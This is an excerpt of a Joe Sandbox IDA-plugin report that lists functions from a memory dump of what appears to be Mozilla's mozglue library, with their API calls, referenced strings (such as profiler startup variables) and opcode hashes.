Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$QzO/$profiler-paused
API String ID: 680628322-2284755286
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C5377D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

QzO/, xrefs: 6C5377E0, 6C537894

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID: QzO/
API String ID: 2525797420-117776061
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C52B410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE
QzO/, xrefs: 6C52B419

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: QzO/$pid:
API String ID: 1720406129-148693470
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C516470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Strings

QzO/, xrefs: 6C516482

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: QzO/
API String ID: 3596744550-117776061
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

kernel32.dll, xrefs: 6C537557
UnmapViewOfFile2, xrefs: 6C537552

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C51E550 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2
QzO/, xrefs: 6C51E2FB, 6C51E399, 6C51E55C
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$QzO/
API String ID: 1483687287-1547406984
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

ntdll.dll, xrefs: 6C5375B3
RtlNtStatusToDosError, xrefs: 6C5375D1

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

ntdll.dll, xrefs: 6C537603
NtUnmapViewOfSection, xrefs: 6C537621

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4DCDF0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

QzO/, xrefs: 6C4DCE02
0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0$QzO/
API String ID: 438689982-795703571
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

